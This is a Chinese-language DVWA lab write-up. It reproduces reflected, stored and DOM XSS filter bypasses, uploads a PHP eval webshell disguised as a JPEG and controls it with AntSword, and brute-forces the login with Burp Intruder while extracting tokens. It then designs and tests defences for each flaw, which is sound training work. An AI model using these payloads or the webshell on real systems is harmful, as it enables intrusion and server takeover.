欢迎光临
我们一直在努力

典型 Web 漏洞实战(DVWA靶场)

声明:

文档内全部 Web 漏洞实战流程、攻击载荷、渗透思路仅供安全学习交流。一切渗透测试活动必须提前获取目标主体书面合法授权。禁止针对任何未授权线上业务实施漏洞探测与利用。未经授权的网络攻击触犯法律,违规人员自行承担全部法律后果。

一、漏洞扫描

DVWA(Damn Vulnerable Web Application作为测试靶场。

(一)靶场部署过程

部署方式:本地部署

具体步骤:打开小皮面板,启动Apache,Mysql套件,在浏览器中访问进入靶场。

(二)漏洞扫描与筛选

工具选择:Burp Suite,支持抓包、主动扫描与 Intruder 攻击模块,可覆盖多种漏洞的扫描与复现需求。中国蚁剑,功能包括 WebShell 管理、服务器操作、数据库管控。

扫描操作

代理配置:打开 Burp,进入 “Proxy -> Options” 模块,添加代理监听(地址:10.1.xxx.xxx,端口:8080),勾选 “Enable” 启用;在火狐浏览器中打开设置的代理插件,将 HTTP/HTTPS 代理指向 10.1.xxx.xxx:8080,确保浏览器流量可被 Burp 捕获。

扫描配置:进入 Burp“Scanner -> New scan”,在 “Target URL” 中输入http://10.1.xxx.xxx/DVWA,扫描类型选择 ,勾选 “Scan recursively”,在 “Scan policies” 中选择 “Default”(默认扫描策略,包含 OWASP Top 10 漏洞检测规则),点击 “Start scan” 启动扫描。

扫描结果记录:扫描时长约 10分钟,共检测到漏洞 6 个,选择了其中三种,三种目标漏洞的关键扫描结果如下表:

漏洞名称

检测到的 URL

关联参数

反射型 XSS

http://10.1.xxx.xxx/vulnerabilities/xss_r/

name

文件上传漏洞

http://10.1.xxx.xxx/vulnerabilities/csrf/

file

暴力破解(弱密码)

http://10.1.xxx.xxx/login.php

username,password

二、漏洞利用

XSS

(一)

XSS 漏洞(反射型)

1. 复现步骤

第一步,基础测试:登录 DVWA(High 级别),进入 “XSS (Reflected)” 模块,输入

<script>alert(document.domain)</script>

并点击 “Submit”,页面无弹窗,仅显示文本 “Hello”,说明<script>标签被过滤。

第二步,绕过测试:修改 Payload 为

<img src=1 onerror=alert(document.domain)>

并提交请求,页面弹出 “10.1.xxx.xxx” ,复现成功。

第三步,抓包验证:Burp 开启拦截,重新提交 Payload,查看 Request 和 Response。Request 中name=<img src=1 οnerrοr=alert(document.domain)>,Response 中<pre>Hello <img src=1 οnerrοr=alert(document domain)></pre>,标签未被过滤。

2. High 级别漏洞核心原因

服务器仅通过正则表达式preg_replace('/<script>/i', '', $_GET['name'])过滤<script>标签,但未覆盖<img>/<svg>/<iframe>等其他可触发脚本的标签。用户输入未做 HTML 实体编码,直接拼接至 HTML 响应中,浏览器解析时执行onerror事件。同时,未对onerror/onload/onclick等危险事件属性进行校验,导致非 script 标签仍可执行恶意代码。

(二)

存储型 XSS 漏洞

1. 复现步骤

第一步,基础测试:进入 “XSS (Stored)” 模块(High 级别),在 “Message” 输入框输入

<script>alert(document.domain)</script>

“Name” 输入框输入 “1”,点击 “Sign Guestbook”,页面无弹窗,<script>标签被过滤。

第二步,绕过测试:尝试大小写,双写,均没有反应。在“Name”输入框中尝试注入,检查时发现name长度最大为10。按F12打开开发者工具,在元素中将长度修改为1000,尝试使用img标签注入 <img src=# οnerrοr=alert(1)>,有弹窗显示,复现完成。

第三步,抓包验证:Burp 拦截提交请求,Request 中txtName=%3Cimg+src%3D%23+onerror%3Dalert%281%29%3E&mtxMessage=1&btnSign=Sign+Guestbook,Response 中该标签未被过滤,且数据库中存储的内容包含完整恶意标签。

2. High 级别漏洞核心原因

服务器仅对<script>标签进行正则过滤,未处理<svg>/<body>等可触发脚本的标签。用户输入的恶意内容直接存储到数据库,页面渲染时从数据库读取内容并直接输出,未做 HTML 实体编码,导致每次访问页面都会执行恶意脚本。

(三)

DOM 型 XSS 漏洞

1. 复现步骤

第一步,基础测试:进入 “XSS (DOM)” 模块(High 级别),页面显示 “Select a language” 下拉框,默认 URL 为http://10.1.xxx.xxx/DVWA/vulnerabilities/xss_d/?Default=English。输入<script>alert(1)</script>替换 URL 中的 “English”,页面无弹窗,前端过滤了<script>标签。

第二步,绕过测试:修改 URL 为

http://10.1.xxx.xxx/DVWA/vulnerabilities/xss_d/#<img src=x onerror=alert(document.domain)>;

页面加载后,下拉框渲染时触发onerror事件,弹出 “10.1.xxx.xxx” 告警框,复现成功。

2. High 级别漏洞核心原因

服务器未参与 DOM 型 XSS 的触发,漏洞核心在于前端代码缺陷:仅过滤 URL 参数中的<script>标签,未处理location.hash等其他 DOM 属性;使用document.write()直接将动态内容写入 DOM,未对内容进行编码;前端未采用textContent等安全的 DOM 操作方法,而是使用易触发 XSS 的innerHTML/document.write(),导致恶意代码可被解析执行。

文件上传

1. 复现步骤

第一步,制作图片马:准备正常图片1.jpg(大小≥100KB),在终端执行copy 1.jpg/b+muma.php/a muma.jpeg,其中muma.php 内容为<?php @eval($_POST['cmd']); ?>,生成的muma.jpeg文件头部保留图片特征,尾部包含 PHP 代码。使用记事本查看程序。

第二步,基础上传测试:上传muma.php,页面提示 “Invalid file extension!”,被拦截。拦截请求,查看Content-Type为image/jpeg.

第三步,图片马上传:上传muma.jpeg,,上传后显示存储路径为../../hackable/uploads/muma.jpeg。

第四步,木马验证:打开蚁剑工具,添加目标http://10.1.xxx.xxx/DVWA/hackable/uploads/muma.jpeg,密码 “cmd”,连接成功后执行phpinfo();,蚁剑面板显示 PHP 环境信息,证明木马可执行。

2. High 级别漏洞核心原因

服务器仅做两层校验,一是扩展名白名单($allowed_ext = array('jpg','png','gif')),二是 MIME 类型校验(finfo_file()获取文件头部 MIME),但未验证文件完整内容。上传目录/hackable/uploads/未配置 PHP 执行限制,即使是.jpg后缀文件,若包含 PHP 代码仍会被服务器解析执行。同时,上传文件保留原文件名,攻击者可通过猜测路径访问恶意文件。

暴力破解

1. 复现步骤

第一步,将安全等级调整为high,抓包获取 Token:进入登录页,输入 admin/123456,Burp 拦截请求,发现参数username=admin&password=123456&user_token=337aa68f87984e91d8b482d6075ab631&Login=Login。

第二步,配置 Intruder:将请求发送至 Intruder,标记password和user_token为攻击位置。设置为Pitchfork攻击模式。Payload 1 上传一个包含多种密码的字典文件;Payload 2 设置参数提取,每次都提取数据包的token值;创建资源池,设置当前最大请求数为1;在setting中设置最大失败的尝试数为1;打开重新定向;选中token;设置第二个payload类型为递归查找。

第三步,启动爆破:攻击结果中,密码 “password” 对应的响应含 “Welcome to DVWA”,响应长度 4752 字节(其他失败请求为 4709字节)。

  • High 级别漏洞核心原因
  • user_token仅与会话绑定,可通过录制 Macro 动态获取,无 IP / 时间绑定机制。服务器仅添加单次请求延迟(2 秒),未设置登录失败阈值,低速爆破(5 线程)可绕过延迟限制。同时,默认密码 “password” 未被强制修改,符合弱密码特征,易被字典匹配。

    三、防御方案设计与验证

    (一) XSS 防御方案

    (一)

    反射型 XSS 

    漏洞缺陷:

    仅通过正则过滤<script>标签,未覆盖<img>/<svg>等其他可触发脚本的标签,且无输入内容类型限制;

    输出编码不规范(未指定ENT_QUOTES和编码格式,可能被单 / 双引号绕过);

    无 CSRF Token 校验,存在 CSRF+XSS 组合攻击风险;

    未限制输入长度,攻击者可构造超长恶意 Payload 尝试绕过过滤;

    1.多层防御设计

    1输入白名单校验

    仅允许合法字符,避免恶意payload输入。

    2.全量HTML实体编码

    3。CSRF Token 校验:

    使用加密安全的随机数生成 Token,上传请求必须携带与 Session 绑定的 Token。

    2.防御效果验证

    测试时,输入 Payload <script>alert(1)</script>,页面显示,但无弹窗。事件触发测试中,输入 Payload <img src=x οnerrοr=alert(1)>,页面有显示,无弹窗

    (二)

    存储型 XSS 

    漏洞缺陷:

    输入过滤仅依赖stripslashes和mysqli_real_escape_string,(未限制 XSS 恶意字符);

    无输入内容白名单限制,攻击者可构造<svg>/<img>等非<script>标签的恶意 Payload;

    未限制输入长度,超长恶意 Payload 可能绕过过滤或导致数据库存储异常;

    未对数据库读取后的内容进行二次编码校验,存在存储后渲染风险。

    1.多层防御设计

    1输入白名单校验

    2规范化输出

    避免攻击者通过单双引号绕过。

    3入库前编码

    确保数据库中存储的是安全的实体编码内容。

    2.防御效果验证

    测试时,输入 Payload <script>alert(1)</script>,页面显示存储成功,但<>均被转义,且无弹窗。输入 Payload <img src=x οnerrοr=alert(1)>,显示相同。输入超过内容长度的留言,页面提示内容长度超限。

    (三)

    DOM型 XSS 

    漏洞缺陷:

    前端仅过滤 URL 参数中的<script>标签,未处理location.hash/location.search等其他用户可控 DOM 属性;

    前端使用document.write()/innerHTML等危险 DOM 操作方法,直接将用户输入渲染到页面;

    1.多层防御设计

    1前端安全DOM操作

    2前后端双重输入校验

    2. 防御效果验证

    测试时,输入Payload?default=<script>alert(1)</script>,后端白名单拦截,渲染为文本无弹窗。输入 Payload <img src=x οnerrοr=alert(1)>,渲染为文本无弹窗。

    文件上传防御方案

    漏洞缺陷:

    校验维度单一,仅校验扩展名 / MIME 类型,未深度验证文件内容;

    无 Anti-CSRF Token 校验,存在跨站上传恶意文件风险;

    未清理文件元数据,可能存在隐写恶意代码的风险;

    文件名处理不规范,存在路径遍历 / 文件名注入风险;

    无文件大小限制,可能存在超大文件上传导致服务器资源耗尽风险。

    1. 多层防御设计

    1 .CSRF Token 校验:

    防止跨站请求伪造上传恶意文件

    使用加密安全的随机数生成 Token,上传请求必须携带与 Session 绑定的 Token,杜绝 CSRF 攻击导致的恶意文件上传。

    2.多维度文件合法性校验:

    从扩展名、MIME 类型、文件大小、文件内容四层校验,杜绝恶意文件绕过

    strtolower函数将扩展名小写以后,仅允许jpg/jpeg/png这三种。

    $uploaded_size < 100000,限制上传文件的大小,防止超大文件上传导致服务器内存耗尽,同时降低恶意大文件的攻击风险。

    $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png'。校验 HTTP 请求头中的 Content-Type,仅允许图片类型;防止攻击者篡改文件扩展名(把.php改为.jpeg)。

    3 .文件命名与存储:

    防止文件名注入,路径遍历

    使用md5生成唯一随机文件名;使用绝对路径移动文件;清理临时文件。

    4.图片重编码清楚恶意数据:

    通过 GD 库重新编码图片,清除所有嵌入的恶意代码、元数据

    2. 防御效果验证

    文件上传测试中,muma.php,页面提示 “Invalid file extension!”。图片马上传测试中,上传muma.jpeg(含 PHP 代码),页面提示 “Not a valid image file!”。正常图片上传测试中,上传1.jpg,上传成功,文件重命名,访问仅显示图片内容。

    暴力破解防御方案

    漏洞缺陷:

    仅依赖 Token 验证但未与IP绑定,Token 可通过 Macro 动态获取;

    失败次数限制逻辑缺失,仅靠延迟无法阻挡低速爆破;

    无 Anti-CSRF token 校验机制,存在跨站请求伪造风险。

    1. 多层防御设计

    1 CSRF Token 校验:

    防止跨站请求伪造,增加爆破难度(Token需要实时获取)

    使用强随机数生成 Token,且每次请求需携带与 Session 绑定的 Token。当用户 Session 过期(如长时间无操作),session_token会随 Session 销毁而失效;若用户主动退出登录(销毁 Session),Token 也会立即失效。

    2账号锁定:

    在登陆失败次数超过3次时,锁定15分钟,防止暴力破解。

    定义锁定规则,查询失败登陆记录,校验账号锁定状态,未到时间则不允许解锁。

    3.用户输入处理

    防止 SQL 注入,同时规范用户输入

    代码对用户输入进行了清理,并使用MD5进行加密。

    2. 防御效果验证

    暴力爆破测试中,使用 Burp Intruder 爆破 admin 账号,3 次失败后提示“账号锁定 15分钟”,后续请求均被拒绝。Token 篡改测试中,修改请求中的 user_token,页面提示 “Token 验证失败”,登录请求被拒绝。

    四、总结

    本文通过 DVWA 靶场实战,复现并分析了反射型 XSS、存储型 XSS、DOM 型 XSS、文件上传和暴力破解五种常见 Web 漏洞。针对每种漏洞,记录了复现步骤,以及剖析了 High 安全级别下的核心缺陷,并设计了多层防御方案进行验证。

    从防御实践来看,单一维度的防护(如仅过滤 <script> 标签、仅校验文件扩展名)极易被绕过。有效的安全防护需要构建纵深防御体系:

    • 输入校验:采用白名单机制,严格限制用户输入的内容类型和长度;
    • 输出编码:对所有动态输出进行 HTML 实体编码,防范 XSS 攻击;
    • 内容安全:前端避免使用 innerHTML、document.write() 等危险方法,改用 textContent 等安全 API;
    • 文件安全:多维度校验文件(扩展名、MIME 类型、文件头、内容重编码),并采用随机文件名存储;
    • 会话与认证:引入 CSRF Token、登录失败锁定、强密码策略等机制,提升暴力破解难度。

    通过本次实验,可以清晰地看到:安全是一个持续的过程,需要开发、测试、运维等多环节协同,将安全原则(如最小权限、纵深防御、不信任用户输入)贯穿于软件生命周期,才能有效降低 Web 应用的安全风险。

    赞(0)
    未经允许不得转载:171主机测评 » 典型 Web 漏洞实战(DVWA靶场)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址